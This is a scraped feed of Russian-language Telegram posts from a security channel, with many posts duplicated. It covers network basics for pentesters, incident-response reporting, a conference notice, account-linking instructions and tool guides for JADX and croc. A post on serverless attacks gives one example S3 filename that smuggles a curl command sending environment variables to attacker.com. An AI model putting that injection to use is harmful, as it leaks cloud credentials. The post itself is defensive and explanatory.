Сорок минут впустую — как одна ошибка с уровнем сети ломает весь пентест
Представьте: вы запускаете ARP-спуфинг в корпоративной сети, всё настроено идеально, инструмент работает — а перехваченных пакетов ноль. Вы перебираете конфиги, гуглите ошибки, меняете адаптер… А проблема банальна: цель в другом VLAN. ARP-фреймы не выходят за пределы broadcast-домена. Это ограничение уровня L2, и никакой инструмент его не обойдёт.
Именно поэтому модель OSI для пентестера — не академическая зубрёжка, а практическая карта. Она отвечает на два вопроса: где я сейчас работаю и что здесь вообще возможно?
🔍 Вот как это выглядит в реальности:
• Сканируете порты через
• Запускаете Responder для перехвата NTLM-хешей — работаете сразу на L2–L7. Подмена DNS/LLMNR-ответов на прикладном уровне опирается на широковещание канального.
• Эксплуатируете SQLi через Burp Suite — чистый L7. Один пентестер, три сценария, три набора ограничений.
⚡️ Отдельная история — TCP-рукопожатие. Три пакета: SYN, SYN-ACK, ACK. Казалось бы, элементарно. Но именно на этой механике построено всё сканирование портов. SYN-скан в Nmap отправляет SYN и не завершает рукопожатие — сразу шлёт RST после ответа сервера. Поэтому он быстрее и тише полного TCP-connect. Но требует root-привилегий для работы с raw-сокетами. Без root Nmap автоматически переключится на
🛡 И ещё момент, который часто упускают начинающие: понимание уровня атаки критически важно для отчёта. Нашли уязвимость на L2? Рекомендация — port security и Dynamic ARP Inspection на коммутаторах. На L7? WAF или исправление кода. Без указания уровня рекомендация «настройте защиту» бесполезна — всё равно что прийти к врачу и сказать «болит», не уточнив где.
📌 Четыре TCP-флага, которые стоит запомнить навсегда:
• SYN — начало соединения
• ACK — подтверждение
• RST — принудительный сброс
• FIN — корректное завершение
Этих четырёх хватит, чтобы читать 90% того, что происходит в Wireshark при сканировании.
В полной статье — подробный разбор стека TCP/IP, таблицы соответствия с OSI, конкретные команды Nmap и объяснение, почему пентестеры думают в терминах TCP/IP, а пишут в терминах OSI.
https://codeby.net/threads/osnovy-setei-dlya-pentestera-model-osi-tcp-ip-i-protokoly-kotoryye-nuzhno-znat.93035/
Представьте: вы запускаете ARP-спуфинг в корпоративной сети, всё настроено идеально, инструмент работает — а перехваченных пакетов ноль. Вы перебираете конфиги, гуглите ошибки, меняете адаптер… А проблема банальна: цель в другом VLAN. ARP-фреймы не выходят за пределы broadcast-домена. Это ограничение уровня L2, и никакой инструмент его не обойдёт.
Именно поэтому модель OSI для пентестера — не академическая зубрёжка, а практическая карта. Она отвечает на два вопроса: где я сейчас работаю и что здесь вообще возможно?
🔍 Вот как это выглядит в реальности:
• Сканируете порты через
nmap -sS — вы на L3–L4. Отправляете IP-пакеты с TCP-сегментами, манипулируете флагами SYN/ACK/RST. Получили SYN-ACK — порт открыт. RST — закрыт. Тишина — между вами firewall, который дропает пакет.• Запускаете Responder для перехвата NTLM-хешей — работаете сразу на L2–L7. Подмена DNS/LLMNR-ответов на прикладном уровне опирается на широковещание канального.
• Эксплуатируете SQLi через Burp Suite — чистый L7. Один пентестер, три сценария, три набора ограничений.
⚡️ Отдельная история — TCP-рукопожатие. Три пакета: SYN, SYN-ACK, ACK. Казалось бы, элементарно. Но именно на этой механике построено всё сканирование портов. SYN-скан в Nmap отправляет SYN и не завершает рукопожатие — сразу шлёт RST после ответа сервера. Поэтому он быстрее и тише полного TCP-connect. Но требует root-привилегий для работы с raw-сокетами. Без root Nmap автоматически переключится на
-sT, который завершает рукопожатие полностью и оставляет больше следов в логах.🛡 И ещё момент, который часто упускают начинающие: понимание уровня атаки критически важно для отчёта. Нашли уязвимость на L2? Рекомендация — port security и Dynamic ARP Inspection на коммутаторах. На L7? WAF или исправление кода. Без указания уровня рекомендация «настройте защиту» бесполезна — всё равно что прийти к врачу и сказать «болит», не уточнив где.
📌 Четыре TCP-флага, которые стоит запомнить навсегда:
• SYN — начало соединения
• ACK — подтверждение
• RST — принудительный сброс
• FIN — корректное завершение
Этих четырёх хватит, чтобы читать 90% того, что происходит в Wireshark при сканировании.
В полной статье — подробный разбор стека TCP/IP, таблицы соответствия с OSI, конкретные команды Nmap и объяснение, почему пентестеры думают в терминах TCP/IP, а пишут в терминах OSI.
https://codeby.net/threads/osnovy-setei-dlya-pentestera-model-osi-tcp-ip-i-protokoly-kotoryye-nuzhno-znat.93035/
👍12❤5🔥4👎1
Периметр: взгляд атакующего на внешний контур. Конференция по наступательной информационной безопасности
22 мая в Москве пройдёт бесплатная конференция «Периметр» от компании МЕТАСКАН, где обсудят наступательную безопасность, внешний периметр, реальные находки и техники, которые работают на живой инфраструктуре.
Что в программе:
⏺️ Раздался стук — цифры о состоянии сетей и уязвимостях внешнего периметра корпоративных инфраструктур Рунета
⏺️ Блеск и нищета сетевого сканирования — как работать с unknown и
⏺️ AI in-the-loop — как генеративный AI в связке с привычными инструментами помогает находить новые уязвимости
Huge Impact - находки на внешних периметрах, которые приводили к максимальному ущербу за прошедший год:
▶️ захват кассовых аппаратов
▶️ снова Bitrix: RCE в кастомных доработках
▶️ поиск иголки в стоге сена магистральных провайдеров
▶️ «Большой брат»: захват систем видеонаблюдения
▶️ секретный доклад
Также будут доклады от партнёров конференции: Сбербанк, Xello, Mitigator, Indeed.
Активности:
Lockpicking (физический взлом замков)
RFID и NFC-эксперименты
Соревновательный OSINT
Конкурс по обходу фильтров антифишинга
И отдельный бонус для тех, кто скучал по олдскулу: демосцена и ретро-компьютинг. ZX Spectrum, Commodore 64, Commodore Amiga, Микроша, Atari, лучшие intro/demo и турнир по DOOM II.
Когда: 22 мая 2026, 10:00
Где: Москва, Дворец Культур, ул. Шарикоподшипниковская, д. 15, стр. 1
Метро: Дубровка
Участие бесплатное, но регистрация обязательна!
🔗 ССЫЛКА НА РЕГИСТРАЦИЮ
22 мая в Москве пройдёт бесплатная конференция «Периметр» от компании МЕТАСКАН, где обсудят наступательную безопасность, внешний периметр, реальные находки и техники, которые работают на живой инфраструктуре.
Что в программе:
' ' протоколами при анализе сетевой инфраструктурыHuge Impact - находки на внешних периметрах, которые приводили к максимальному ущербу за прошедший год:
Также будут доклады от партнёров конференции: Сбербанк, Xello, Mitigator, Indeed.
Активности:
Lockpicking (физический взлом замков)
RFID и NFC-эксперименты
Соревновательный OSINT
Конкурс по обходу фильтров антифишинга
Когда: 22 мая 2026, 10:00
Где: Москва, Дворец Культур, ул. Шарикоподшипниковская, д. 15, стр. 1
Метро: Дубровка
Участие бесплатное, но регистрация обязательна!
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤6🔥4✍1👎1🆒1
Исследователь-одиночка, скрывающийся под никами Chaotic Eclipse и Nightmare-Eclipse, продолжает свою «войну» против Microsoft. После недавнего слива трех уязвимостей в Defender, он опубликовал еще два критических бага, затрагивающих Windows 11 и серверные версии 2022/2025. В ИБ-сообществе эти находки уже получили кодовые имена YellowKey и GreenPlasma.
Ситуация накаляется: исследователь прямо заявляет, что это месть за игнорирование его отчетов со стороны MSRC (Microsoft Security Response Center)
Вот основные технические подробности, которые известны:
Microsoft пока ограничивается стандартными заявлениями о «приверженности безопасности клиентов», однако молчаливое исправление предыдущих багов (как в случае с RedSun) подтверждает — проблема носит массовый характер.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11❤7🔥6❤🔥1
🔐 Единая система входа Codeby ID — как пользоваться
Codeby ID — это один аккаунт для входа на форум codeby.net и на платформу hackerlab.pro. К одному Codeby ID можно привязать несколько способов входа: email, Google, GitHub, Telegram. Куда бы вы ни заходили — это будет ваш один и тот же аккаунт.
---
❓ Сценарий 1 — у меня только Telegram и аккаунт на HackerLab
Цель: добавить email и получить доступ к форуму с тем же аккаунтом.
1. Зайдите на hackerlab.pro через кнопку «Войти через Telegram» (как раньше)
2. Откройте свой Профиль → Настройки
3. Нажмите кнопку «Привязать email» (или подобную в блоке «Способы входа»)
4. Откроется страница Codeby ID — введите свой реальный email и нажмите «Сохранить»
5. На указанный email придёт письмо с подтверждением — перейдите по ссылке внутри письма
6. Готово ✅ — теперь у вас два способа входа (Telegram + email)
После этого вы автоматически сможете зайти на форум codeby.net через Codeby ID — система создаст для вас аккаунт или найдёт существующий по email.
---
❓ Сценарий 2 — у меня только email/Google/GitHub и аккаунт на форуме
Цель: привязать Telegram и зайти на HackerLab в свой существующий аккаунт.
1. Зайдите на codeby.net через ваш обычный способ (email/Google/GitHub)
2. Откройте «Безопасность аккаунта» —
3. Нажмите кнопку в блоке «🔐 Управление способами входа»
4. Откроется страница Codeby ID — раздел «Способы входа»
5. Нажмите «Привязать Telegram» — откроется виджет Telegram, подтвердите вход в Telegram
6. Готово ✅ — теперь Telegram привязан к вашему Codeby ID
Теперь зайдите на hackerlab.pro через «Войти через Telegram» — попадёте в свой существующий HackerLab-аккаунт со всем прогрессом (если у вас уже был аккаунт на HL под этим Telegram).
---
❓ Сценарий 3 — связать существующие аккаунты Форум + HackerLab
Связь происходит автоматически, если все способы входа привязаны к одному Codeby ID.
Проверка: зайдите на
Если способа не хватает — привяжите по инструкциям из Сценария 1 или 2.
После того как все способы привязаны:
- Логин на форум по email/Google/GitHub → ваш форумный аккаунт
- Логин на HL по Telegram → ваш HL-аккаунт со всеми задачами
- Это один и тот же Codeby ID на обоих сайтах
---
⚠️ Чего НЕ нужно делать
- ❌ Не регистрируйтесь через разные email на разных сайтах — система воспримет это как разных людей
- ❌ Не используйте одноразовые email (mailinator, cock.lu и подобные) — они блокируются как спам, письмо подтверждения не дойдёт
- ❌ Если что-то пошло не так — не создавайте новый аккаунт повторно, напишите мне (контакт ниже). Лишние аккаунты только усложнят восстановление
---
🆘 Куда писать о проблеме
Если:
- Видите пустой аккаунт вместо своего старого (нет ваших задач CTF / нет постов на форуме)
- Не получается привязать email или Telegram
- Письмо с подтверждением не приходит
- Кнопка «Войти через X» не работает или показывает ошибку
- Любая другая проблема со входом
Напишите мне в Telegram: [@The_Codeby] или на mail@codeby.email — приложите скриншот и опишите что делали и что увидели. Чем подробнее — тем быстрее починим.
Codeby ID — это один аккаунт для входа на форум codeby.net и на платформу hackerlab.pro. К одному Codeby ID можно привязать несколько способов входа: email, Google, GitHub, Telegram. Куда бы вы ни заходили — это будет ваш один и тот же аккаунт.
---
❓ Сценарий 1 — у меня только Telegram и аккаунт на HackerLab
Цель: добавить email и получить доступ к форуму с тем же аккаунтом.
1. Зайдите на hackerlab.pro через кнопку «Войти через Telegram» (как раньше)
2. Откройте свой Профиль → Настройки
3. Нажмите кнопку «Привязать email» (или подобную в блоке «Способы входа»)
4. Откроется страница Codeby ID — введите свой реальный email и нажмите «Сохранить»
5. На указанный email придёт письмо с подтверждением — перейдите по ссылке внутри письма
6. Готово ✅ — теперь у вас два способа входа (Telegram + email)
После этого вы автоматически сможете зайти на форум codeby.net через Codeby ID — система создаст для вас аккаунт или найдёт существующий по email.
---
❓ Сценарий 2 — у меня только email/Google/GitHub и аккаунт на форуме
Цель: привязать Telegram и зайти на HackerLab в свой существующий аккаунт.
1. Зайдите на codeby.net через ваш обычный способ (email/Google/GitHub)
2. Откройте «Безопасность аккаунта» —
https://codeby.net/account/security3. Нажмите кнопку в блоке «🔐 Управление способами входа»
4. Откроется страница Codeby ID — раздел «Способы входа»
5. Нажмите «Привязать Telegram» — откроется виджет Telegram, подтвердите вход в Telegram
6. Готово ✅ — теперь Telegram привязан к вашему Codeby ID
Теперь зайдите на hackerlab.pro через «Войти через Telegram» — попадёте в свой существующий HackerLab-аккаунт со всем прогрессом (если у вас уже был аккаунт на HL под этим Telegram).
---
❓ Сценарий 3 — связать существующие аккаунты Форум + HackerLab
Связь происходит автоматически, если все способы входа привязаны к одному Codeby ID.
Проверка: зайдите на
https://id.codeby.net/if/user/ → раздел «Способы входа» — здесь должны быть все ваши способы (Telegram, email, Google, GitHub — те что используете).Если способа не хватает — привяжите по инструкциям из Сценария 1 или 2.
После того как все способы привязаны:
- Логин на форум по email/Google/GitHub → ваш форумный аккаунт
- Логин на HL по Telegram → ваш HL-аккаунт со всеми задачами
- Это один и тот же Codeby ID на обоих сайтах
---
⚠️ Чего НЕ нужно делать
- ❌ Не регистрируйтесь через разные email на разных сайтах — система воспримет это как разных людей
- ❌ Не используйте одноразовые email (mailinator, cock.lu и подобные) — они блокируются как спам, письмо подтверждения не дойдёт
- ❌ Если что-то пошло не так — не создавайте новый аккаунт повторно, напишите мне (контакт ниже). Лишние аккаунты только усложнят восстановление
---
🆘 Куда писать о проблеме
Если:
- Видите пустой аккаунт вместо своего старого (нет ваших задач CTF / нет постов на форуме)
- Не получается привязать email или Telegram
- Письмо с подтверждением не приходит
- Кнопка «Войти через X» не работает или показывает ошибку
- Любая другая проблема со входом
Напишите мне в Telegram: [@The_Codeby] или на mail@codeby.email — приложите скриншот и опишите что делали и что увидели. Чем подробнее — тем быстрее починим.
👍8❤3🔥2
47 Lambda-функций и ни одного алерта: почему SOC не видит serverless-атаки
Представьте: утёкший access key на GitHub, понедельник утро, и через полтора часа пентестер уже читает production-таблицу с платёжными данными 200 тысяч клиентов. CloudTrail работает, но ни одного алерта на serverless-специфичные TTPs. Функция отработала за миллисекунды и исчезла вместе с контейнером. Расследовать нечего.
Это реальная ситуация с cloud-пентеста в начале 2025 года. И она хорошо показывает главную проблему serverless-безопасности — классические средства мониторинга просто не заточены под эфемерные вычисления.
🔥 Три вектора, которые стоит знать
• Event injection — отравление триггеров. Lambda обрабатывает файл из S3 и подставляет имя объекта в
• Privilege escalation через IAM-роли. Если у атакующего есть
• Persistence через триггеры. Атакующий создаёт EventBridge-правило, которое вызывает вредоносную функцию при каждом создании IAM-пользователя или загрузке файла. Lambda как эфемерный C2-сервер: получает команды, передаёт на скомпрометированные хосты, завершается. Следов в файловой системе нет, потому что файловой системы нет.
📊 По данным Cloud Security Alliance, более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. При этом рынок serverless-безопасности уже перевалил за 12 млрд долларов — деньги вкладываются, но зрелость detection отстаёт на годы.
🛡 Что проверить прямо сейчас:
1. Есть ли в ваших Lambda-функциях вызовы
2. Execution roles — минимальные привилегии или wildcard?
3. Настроены ли алерты на
В полной статье — разбор конкретных цепочек атак с примерами кода, detection-правилами для SIEM и чек-листом для харденинга.
https://codeby.net/threads/ataki-na-serverless-funktsii-injection-event-poisoning-i-privilege-escalation.93670/
Представьте: утёкший access key на GitHub, понедельник утро, и через полтора часа пентестер уже читает production-таблицу с платёжными данными 200 тысяч клиентов. CloudTrail работает, но ни одного алерта на serverless-специфичные TTPs. Функция отработала за миллисекунды и исчезла вместе с контейнером. Расследовать нечего.
Это реальная ситуация с cloud-пентеста в начале 2025 года. И она хорошо показывает главную проблему serverless-безопасности — классические средства мониторинга просто не заточены под эфемерные вычисления.
🔥 Три вектора, которые стоит знать
• Event injection — отравление триггеров. Lambda обрабатывает файл из S3 и подставляет имя объекта в
os.system(). Атакующий загружает файл с именем вроде ; curl attacker.com/exfil?d=$(env)#.csv — и переменные окружения с IAM-токенами утекают за одно исполнение. Одно. Миллисекунды. Причём WAF тут не спасёт: он защищает HTTP-уровень через API Gateway, но event injection через SQS или SNS идёт в обход — payload лезет через окно, пока WAF сторожит дверь.• Privilege escalation через IAM-роли. Если у атакующего есть
iam:PassRole и lambda:UpdateFunctionCode, он может подменить код существующей функции и привязать к ней роль с широкими правами. На пентесте 12 из 47 функций имели execution role с Action: "*" на S3 и DynamoDB. Это не edge-case, а типичная картина — разработчики назначают максимальные права «чтобы работало» и забывают ужать.• Persistence через триггеры. Атакующий создаёт EventBridge-правило, которое вызывает вредоносную функцию при каждом создании IAM-пользователя или загрузке файла. Lambda как эфемерный C2-сервер: получает команды, передаёт на скомпрометированные хосты, завершается. Следов в файловой системе нет, потому что файловой системы нет.
📊 По данным Cloud Security Alliance, более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. При этом рынок serverless-безопасности уже перевалил за 12 млрд долларов — деньги вкладываются, но зрелость detection отстаёт на годы.
🛡 Что проверить прямо сейчас:
1. Есть ли в ваших Lambda-функциях вызовы
os.system() или subprocess с пользовательским вводом?2. Execution roles — минимальные привилегии или wildcard?
3. Настроены ли алерты на
UpdateFunctionCode и iam:PassRole в CloudTrail?В полной статье — разбор конкретных цепочек атак с примерами кода, detection-правилами для SIEM и чек-листом для харденинга.
https://codeby.net/threads/ataki-na-serverless-funktsii-injection-event-poisoning-i-privilege-escalation.93670/
👍8🔥5❤4
57% компаний узнают о взломе не от своего SOC. Почему?
Mandiant M-Trends 2025 фиксирует неприятную реальность: больше половины организаций получают новость о компрометации от внешней стороны — партнёра, регулятора, иногда журналиста. Не от собственного SIEM, не от EDR, не от аналитика на смене.
🔍 Медиана присутствия атакующего в сети до обнаружения — 11 дней. Звучит как исторический минимум, и формально так и есть. Но за 11 дней злоумышленник проходит полный kill chain: фишинг → закрепление → боковое перемещение → выгрузка данных или шифрование инфраструктуры. Когда вы узнаёте об атаке, ущерб уже нанесён.
Почему так происходит? Потому что SIEM ловит сигнатуры, а не контекст. Атакующий, который использует валидные учётные записи и штатные инструменты вроде
📊 Ещё одна цифра от IBM X-Force 2025: самый распространённый тип малвари сегодня — инфостилеры (32%), они обогнали шифровальщиков. А среднее время между публикацией CVE и устранением уязвимости в организации — 29 месяцев. Два с половиной года. Атакующим не нужны zero-day, когда окно открыто настолько широко.
⚙️ Расследование кибератаки — управляемый процесс с чёткими фазами. Два основных фреймворка — NIST SP 800-61 и SANS — описывают одну и ту же логику разными словами:
1. Подготовка — IR-план, playbook, инструменты наготове
2. Обнаружение и анализ — triage алерта, определение скоупа
3. Сдерживание — изоляция хоста, сегмента, учётки
4. Устранение и восстановление — очистка, пересоздание, возврат в продакшн
5. Разбор полётов — отчёт, timeline, IOC-приложения
Ключевое различие: NIST объединяет шаги 3-4, потому что на практике они идут параллельно. Вы изолируете один сегмент и тут же чистите соседний. SANS разбивает их последовательно, что удобнее для команд, которые строят процесс с нуля.
Но выбор фреймворка вторичен. Критично другое — сам факт наличия документированного плана. Без него каждый инцидент превращается в импровизацию, где теряются артефакты, затираются логи и уничтожаются доказательства.
🎯 Практический чеклист на первые 30 минут:
• Подтвердить алерт — это true positive?
• Определить скоуп — один хост или сегмент?
• Изолировать, не выключая — сохранить содержимое RAM
• Зафиксировать время — таймлайн начинается сейчас
Мы собрали полную карту Incident Response — от первого алерта до финального отчёта, с разбором форензики, анализа памяти, threat hunting и реальных кейсов. Все детали — в полной статье.
https://codeby.net/threads/rassledovaniye-kiberataki-polnaya-karta-incident-response-ot-obnaruzheniya-do-otcheta.93680/
Mandiant M-Trends 2025 фиксирует неприятную реальность: больше половины организаций получают новость о компрометации от внешней стороны — партнёра, регулятора, иногда журналиста. Не от собственного SIEM, не от EDR, не от аналитика на смене.
🔍 Медиана присутствия атакующего в сети до обнаружения — 11 дней. Звучит как исторический минимум, и формально так и есть. Но за 11 дней злоумышленник проходит полный kill chain: фишинг → закрепление → боковое перемещение → выгрузка данных или шифрование инфраструктуры. Когда вы узнаёте об атаке, ущерб уже нанесён.
Почему так происходит? Потому что SIEM ловит сигнатуры, а не контекст. Атакующий, который использует валидные учётные записи и штатные инструменты вроде
powershell.exe или wmic, не триггерит стандартные правила корреляции. Он выглядит как легитимный администратор.📊 Ещё одна цифра от IBM X-Force 2025: самый распространённый тип малвари сегодня — инфостилеры (32%), они обогнали шифровальщиков. А среднее время между публикацией CVE и устранением уязвимости в организации — 29 месяцев. Два с половиной года. Атакующим не нужны zero-day, когда окно открыто настолько широко.
⚙️ Расследование кибератаки — управляемый процесс с чёткими фазами. Два основных фреймворка — NIST SP 800-61 и SANS — описывают одну и ту же логику разными словами:
1. Подготовка — IR-план, playbook, инструменты наготове
2. Обнаружение и анализ — triage алерта, определение скоупа
3. Сдерживание — изоляция хоста, сегмента, учётки
4. Устранение и восстановление — очистка, пересоздание, возврат в продакшн
5. Разбор полётов — отчёт, timeline, IOC-приложения
Ключевое различие: NIST объединяет шаги 3-4, потому что на практике они идут параллельно. Вы изолируете один сегмент и тут же чистите соседний. SANS разбивает их последовательно, что удобнее для команд, которые строят процесс с нуля.
Но выбор фреймворка вторичен. Критично другое — сам факт наличия документированного плана. Без него каждый инцидент превращается в импровизацию, где теряются артефакты, затираются логи и уничтожаются доказательства.
🎯 Практический чеклист на первые 30 минут:
• Подтвердить алерт — это true positive?
• Определить скоуп — один хост или сегмент?
• Изолировать, не выключая — сохранить содержимое RAM
• Зафиксировать время — таймлайн начинается сейчас
Мы собрали полную карту Incident Response — от первого алерта до финального отчёта, с разбором форензики, анализа памяти, threat hunting и реальных кейсов. Все детали — в полной статье.
https://codeby.net/threads/rassledovaniye-kiberataki-polnaya-karta-incident-response-ot-obnaruzheniya-do-otcheta.93680/
❤9👍6🔥3🗿1
JADX: Декомпиляция Android-приложений
👉 Основные возможности
▶️ Преобразование файлов APK, DEX, AAR, AAB, ZIP и Class в Java-код
▶️ Извлечение и декодирование AndroidManifest.xml и других ресурсов из resources.arsc
▶️ Встроенный механизм для восстановления читаемых имен классов, методов и полей
▶️ Поддержка отладки на уровне smali-кода (требует дополнительной настройки)
⬇️ Установка
Проверка
⏺️ Декомпиляция APK-файла в директорию out
⏺️ Анализ безопасности приложения
⏺️ Быстрый просмотр через GUI
⏺️ Обработка нескольких DEX-файлов
🔎 Инструмент незаменим для:
- Анализа вредоносного ПО
- Исследования работы проприетарных библиотек
- Восстановления утерянного исходного кода
- Обучения принципам работы Android-приложений
#jadx #android #decompiler #androidsecurity #pentest #tool
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером
JADX — инструмент для преобразования Android-файлов (APK, DEX, AAR, AAB) в читаемый Java-код. Разработанный на Java, он позволяет анализировать внутреннее устройство Android-приложений без доступа к исходному коду.
sudo apt install jadx
Проверка
jadx -h
jadx -d out app.apk
jadx -d decompiled --deobf --show-bad-code suspicious.apk
jadx-gui app.apk
jadx -d out classes1.dex classes2.dex classes3.dex
- Анализа вредоносного ПО
- Исследования работы проприетарных библиотек
- Восстановления утерянного исходного кода
- Обучения принципам работы Android-приложений
#jadx #android #decompiler #androidsecurity #pentest #tool
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍5🔥5
Блестящее реагирование, провальный отчёт: почему IR-документация важнее самого расследования
Представьте: команда закрывает ransomware-кейс за 52 часа. Containment — 4 часа, eradication — сутки, ни один критичный хост не потерян. А потом страховая отклоняет компенсацию, потому что в timeline три часовых пояса без UTC-привязки, а executive summary растянулся на 14 страниц. Техническое мастерство обнулилось документацией.
Реальный кейс — и типичная проблема. IR-отчёт определяет, получит ли компания страховую выплату, пройдёт ли аудит и извлечёт ли уроки для усиления инфраструктуры.
🎇 Первое правило: два документа вместо одного
CISO и совет директоров хотят одностраничник с цифрами ущерба и статусом восстановления. SOC-аналитик ждёт хэши, YARA-правила и маппинг на MITRE ATT&CK. Один документ не закроет обе потребности. Поэтому проверенная структура — это executive summary на 1–2 страницы плюс технический отчёт на 10–30 страниц с приложениями. Оба ссылаются на единый incident ID и общий timeline.
📄 Executive summary — не сокращённый техотчёт
Это отдельный документ со своей логикой. Задача — дать руководителю достаточно информации для решений за пять минут чтения. Обязательный минимум:
• Incident ID, severity и тип инцидента
• Хронология в три строки: обнаружили, сдержали, восстановили
• Масштаб воздействия — системы, пользователи, утечка ПДн
• Финансовая оценка — прямые и косвенные потери
• Три-пять рекомендаций верхнего уровня
Типичная ошибка — запихивать в summary IP-адреса и хэши. Руководство не оперирует этими данными, а их присутствие создаёт впечатление, что документ «технический» и его можно отложить.
⌛ Timeline — скелет всего отчёта
Без чёткой хронологии невозможно восстановить причинно-следственные связи и определить dwell time атакующего. Три правила, которые спасают от проблем:
1. Все timestamps строго в UTC. Формат:
2. Гранулярность зависит от фазы. Initial access и lateral movement — секунды. Восстановление — часы.
3. Каждая строка привязана к артефакту: лог SIEM, дамп памяти, pcap, скриншот EDR. Запись без источника — голословное утверждение, которое страховая просто вычеркнет.
Отдельная боль — IOC-приложения. Хэши, домены, IP-адреса без контекста и категоризации бесполезны. Как правильно оформить IOC-лист, выстроить timeline и собрать отчёт, который выдержит проверку аудитом и страховой — разобрали в полной версии статьи.
https://codeby.net/threads/ir-otchet-po-intsidentu-struktura-timeline-i-ioc-prilozheniya-dlya-biznesa-i-tekhkomandy.93675/
Представьте: команда закрывает ransomware-кейс за 52 часа. Containment — 4 часа, eradication — сутки, ни один критичный хост не потерян. А потом страховая отклоняет компенсацию, потому что в timeline три часовых пояса без UTC-привязки, а executive summary растянулся на 14 страниц. Техническое мастерство обнулилось документацией.
Реальный кейс — и типичная проблема. IR-отчёт определяет, получит ли компания страховую выплату, пройдёт ли аудит и извлечёт ли уроки для усиления инфраструктуры.
CISO и совет директоров хотят одностраничник с цифрами ущерба и статусом восстановления. SOC-аналитик ждёт хэши, YARA-правила и маппинг на MITRE ATT&CK. Один документ не закроет обе потребности. Поэтому проверенная структура — это executive summary на 1–2 страницы плюс технический отчёт на 10–30 страниц с приложениями. Оба ссылаются на единый incident ID и общий timeline.
Это отдельный документ со своей логикой. Задача — дать руководителю достаточно информации для решений за пять минут чтения. Обязательный минимум:
• Incident ID, severity и тип инцидента
• Хронология в три строки: обнаружили, сдержали, восстановили
• Масштаб воздействия — системы, пользователи, утечка ПДн
• Финансовая оценка — прямые и косвенные потери
• Три-пять рекомендаций верхнего уровня
Типичная ошибка — запихивать в summary IP-адреса и хэши. Руководство не оперирует этими данными, а их присутствие создаёт впечатление, что документ «технический» и его можно отложить.
Без чёткой хронологии невозможно восстановить причинно-следственные связи и определить dwell time атакующего. Три правила, которые спасают от проблем:
1. Все timestamps строго в UTC. Формат:
YYYY-MM-DD HH:MM:SS UTC. Если источник пишет в локальной зоне — конвертируй явно с указанием исходной.2. Гранулярность зависит от фазы. Initial access и lateral movement — секунды. Восстановление — часы.
3. Каждая строка привязана к артефакту: лог SIEM, дамп памяти, pcap, скриншот EDR. Запись без источника — голословное утверждение, которое страховая просто вычеркнет.
Отдельная боль — IOC-приложения. Хэши, домены, IP-адреса без контекста и категоризации бесполезны. Как правильно оформить IOC-лист, выстроить timeline и собрать отчёт, который выдержит проверку аудитом и страховой — разобрали в полной версии статьи.
https://codeby.net/threads/ir-otchet-po-intsidentu-struktura-timeline-i-ioc-prilozheniya-dlya-biznesa-i-tekhkomandy.93675/
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤2🔥2
Под текстом любого задания на hackerlab.pro появился блок обсуждения, привязанный к ветке форума. Задать вопрос, попросить подсказку, ответить другому игроку — всё в одном месте, без перехода на codeby.net.
Зачем: чтобы опыт жил рядом с задачей. Тонкости стека, нетривиальные подходы, вещи которые не гуглятся — делитесь.
Одно правило: подсказки — да, флаги — нет.
⚠️ Не получается отправить сообщение
Виджет свежий, шероховатости есть. Самая частая проблема (невозможно написать в чат) решается так:
1. Выйти из аккаунта
2. Зайти заново через Codeby ID
🆘 Другие баги, странности, идеи
Напишите мне в Telegram: @The_Codeby или на форуме в ЛС — приложите скриншот и опишите что делали и что увидели. Чем подробнее — тем быстрее починим.
Пробуйте, ломайте, репортите.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🔥3❤2
🐊croc
Инструмент позволяет выполнять следующие функции:
▶️ Позволяет любым двум компьютерам передавать данные (через ретрансляционный сервер);
▶️ Обеспечивает сквозное шифрование (с использованием PAKE);
▶️ Облегчает кроссплатформенную передачу (Windows, Linux, Mac);
▶️ Поддерживает передачу множества файлов;
▶️ Позволяет возобновлять прерванные передачи;
▶️ Не требует локального сервера или проброса портов;
▶️ Приоритет IPv6 с резервным использованием IPv4;
▶️ Может использовать прокси, например Tor.
⬇️ Установить можно в одну команду через Docker.
Использование
0️⃣ Чтобы отправить файл необходимо после команды send указать до него путь и ввести кодовую фразу.
Для получения файла просто необходимо ввести ту же кодовую фразу.
Кодовая фраза используется для установления соглашения о ключах с аутентификацией по паролю, в рамках которого генерируется секретный ключ для отправителя и получателя, используемый для сквозного шифрования.
1️⃣ В Linux и macOS процесс отправки и получения данных немного отличается. Чтобы избежать утечки секретных данных через имя процесса необходимо запустить croc с секретными данными в качестве переменной среды. Например, чтобы получить файл с секретом ***:
2️⃣ Отправка нескольких файлов
3️⃣ Отправка текста
4️⃣ Изменение алгоритма хэширования на imohash
#security #tools #share
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером
Инструмент, предоставляющий возможность простого и безопасного способа отправки файлов с одного компьютера на другой.
Инструмент позволяет выполнять следующие функции:
croc() { [ $# -eq 0 ] && set -- ""; mkdir -p "$HOME/.config/croc"; docker run --rm -it --user "$(id -u):$(id -g)" -v "$(pwd):/c" -v "$HOME/.config/croc:/.config/croc" -w /c -e CROC_SECRET docker.io/schollz/croc "$@"; }Использование
Для получения файла просто необходимо ввести ту же кодовую фразу.
Кодовая фраза используется для установления соглашения о ключах с аутентификацией по паролю, в рамках которого генерируется секретный ключ для отправителя и получателя, используемый для сквозного шифрования.
CROC_SECRET=*** croc
croc send [file1] [file2] [file3] [folder1] [folder2]
croc send --text "hello world"
croc send --hash imohash SOMEFILE
#security #tools #share
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5👍3🔥3
Уже в эту пятницу пройдёт конференция «Периметр» от МЕТАСКАН — взгляд атакующего на внешний контур.
Напоминаем тем, кто ещё не зарегистрировался, сейчас самое время записаться. Участие бесплатное.
22 мая в Москве пройдёт бесплатная конференция «Периметр» от компании МЕТАСКАН, где обсудят наступательную безопасность, внешний периметр, реальные находки и техники, которые работают на живой инфраструктуре.
Что в программе:
⏺️ Раздался стук — цифры о состоянии сетей и уязвимостях внешнего периметра корпоративных инфраструктур Рунета
⏺️ Блеск и нищета сетевого сканирования — как работать с unknown и
⏺️ AI in-the-loop — как генеративный AI в связке с привычными инструментами помогает находить новые уязвимости
Huge Impact - находки на внешних периметрах, которые приводили к максимальному ущербу за прошедший год:
